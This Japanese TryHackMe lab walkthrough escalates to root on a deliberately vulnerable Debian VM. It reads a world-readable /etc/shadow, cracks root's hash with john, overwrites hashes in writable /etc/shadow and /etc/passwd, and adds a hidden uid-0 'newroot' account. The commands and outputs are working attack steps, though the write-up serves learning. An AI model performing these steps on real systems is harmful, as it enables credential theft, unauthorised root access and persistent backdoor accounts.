今回は、「Linuxの脆弱なファイル権限による権限昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」
こちらの記事は、Part2になっております。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「MySQLのUser Defined Function(UDF)による権限昇格」も確認してください。
Deploy the Vulnerable Debian VM(脆弱なDebian VMをデプロイ)
まずは、TryHackMeでターゲットマシンを起動して、SSHで接続できるところまで確認しておきましょう。
ターゲットマシンを起動
「Start Machine」を選択して起動します。
「IP Address」が表示されれば、ターゲットマシンの起動は完了です。
SSHでuserアカウントにログイン
ターゲットマシンにSSHで接続します。
Kali の場合、「-oHostKeyAlgorithms=+ssh-rsa」が必要になることがあるので注意してください。
# ssh user@10.10.77.90 -oHostKeyAlgorithms=+ssh-rsa
The authenticity of host '10.10.77.90 (10.10.77.90)' can't be established.
RSA key fingerprint is SHA256:JwwPVfqC+8LPQda0B9wFLZzXCXcoAho6s8wYGjktAnk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.77.90' (RSA) to the list of known hosts.
user@10.10.77.90's password:
Permission denied, please try again.
user@10.10.77.90's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
Weak File Permissions(脆弱なファイル権限)
準備ができたら、実際に脆弱なファイル権限を利用して、rootに権限昇格してみます。
今回は、2ファイルが対象です。どちらもアカウント情報(パスワードのハッシュ値)を操作することになります。
- /etc/shadow
- /etc/passwd
Readable /etc/shadow(読み取り可能 /etc/shadow)
「/etc/shadow」には、ユーザーのパスワードがハッシュ値で含まれています。
通常は、rootのみが読み取り可能なのですが、もしファイル権限に脆弱性があり、読み取り可能になっていた場合、パスワードを入手することが可能です。
まずは、「/etc/shadow」のアクセス権限を見てみましょう。
誰でも読み取れることが確認できますね。
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
shadowの中身を確認していきます。
1つ目がユーザー名、2つ目がパスワードのハッシュ値になります。今回はこれをクラックして、パスワードを入手します。
- [ユーザー名]:[password_hash]:…
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
上記から、rootのパスワードを取得するため、rootのパスワードのハッシュ値をhash.txtに保存します。
ここからは、Kali側(攻撃マシン)での作業になります。
# mkdir tryhackme
# cd tryhackme
# vi hash.txt
# cat hash.txt
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
ここまでできたら、さきほどのhash.txtをjohn the ripperを利用してクラックします。
結果を確認するとパスワードが、「password123」というのがわかったと思います。
# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:00 DONE (2023-03-06 14:36) 1.428g/s 2194p/s 2194c/s 2194C/s cuties..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワードが分かれば、あとは「su root」でroot権限を取得しちゃいましょう。
user@debian:~$ su root
Password:
root@debian:/home/user#
無事、rootに権限昇格できましたね!
TryHackMeの質問にも、今までの内容で回答できると思います。
Writable /etc/shadow(書き込み可能 /etc/shadow)
「/etc/shadow」が書き込み可能な場合、パスワードのハッシュ値を書き換えることで、rootに権限昇格することが可能です。
先ほどとは真逆の考え方ですね。
まずは、「/etc/shadow」の権限を確認してみます。書き込み権限がありそうですね。
$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
では、そのままmkpasswdでパスワードのハッシュを作成しましょう。
[newpassword]はrootで利用したいパスワードを設定してください。
$ mkpasswd -m sha-512 newpassword
$6$.EP9GjdsI0v$LhlXNvvmPG06kvymtPUfPO9QUOgG/jVI9yO//iZayW4XUqmbKX4XZXYM5AgGGTo8.xC1x0dbsSCUkKhf.D0281
ハッシュを生成できたら、「/etc/shadow」のrootのパスワードのハッシュを先ほど生成したハッシュに書き換えます。
$ cat /etc/shadow
root:$6$.EP9GjdsI0v$LhlXNvvmPG06kvymtPUfPO9QUOgG/jVI9yO//iZayW4XUqmbKX4XZXYM5AgGGTo8.xC1x0dbsSCUkKhf.D0281:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
これでrootに権限昇格できたと思います。
user@debian:~$ su root
Password:
root@debian:/home/user#
Writable /etc/passwd(書き込み可能 /etc/passwd)
「/etc/passwd」には、ユーザーアカウントに関する情報が含まれています。
誰でも読み取り可能ですが、root以外は書き込み不可能です。
一部のLinuxでは、ユーザーのパスワードハッシュが含まることを許可している場合があります。
もしroot以外も書き込みが可能な権限になっていた場合、脆弱性を利用してrootに権限昇格することが可能です。
まずは権限を見ていきます。書き込み権限が付与されていそうですね。
これで攻撃ができそうです。
user@debian:~$ ls -l /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
念のため、現在のpasswdの状態を確認しておきます。rootには、「x」が設定されていますね。
ハッシュを生成したら、ここをハッシュに置き換えます。
user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
ハッシュは、下記のコマンドで生成します。
今回は、「newpassword2」を新しいパスワードとします。
user@debian:~$ openssl passwd newpassword2
Warning: truncating password to 8 characters
6b3ud4hkgOxvE
ハッシュを生成したら、そのハッシュ値をさきほど「x」があった場所と置き換えてください。
user@debian:~$ vi /etc/passwd
user@debian:~$ cat /etc/passwd
root:6b3ud4hkgOxvE:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
ここまできたら、rootにログインしてみましょう。
無事、rootに権限昇格ができたと思います。
user@debian:~$ su root
Password: newpassword2
このままだと、よろしくないので、newrootを作成しておきます。
rootの設定を丸々コピーして新しい行に追加し、rootは「x」に戻しておきます。
root@debian:/home/user# vi /etc/passwd
root@debian:/home/user# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
newroot:6b3ud4hkgOxvE:0:0:root:/root:/bin/bash
root@debian:/home/user# exit
exit
この状態で、newrootにログインしましょう。
新しいパスワードでrootに権限昇格できていると思います。
idを確認してもrootになってますね。
user@debian:~$ su newroot
Password:newpassword2
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
一度、ログアウトして、rootにログインしてみましょう。
こちらは、「newpassword」の方でログインできるかなと思います。元のパスワードを維持したまま、新しいログイン方法を確立できましたね。
root@debian:/home/user# exit
exit
user@debian:~$ su root
Password: newpassword
root@debian:/home/user#
TryHackMeの質問は、先ほどのidコマンドの結果を張り付けておきましょう。
まとめ
今回は、「Linuxの脆弱なファイル権限による権限昇格」をやってみました。
基本的にはデフォルトで脆弱なファイル権限にはなっていないはずですが、このような事態を招かないように注意を心がける必要があるなと改めて感じましたね。
参考文献・サイト
ー:ー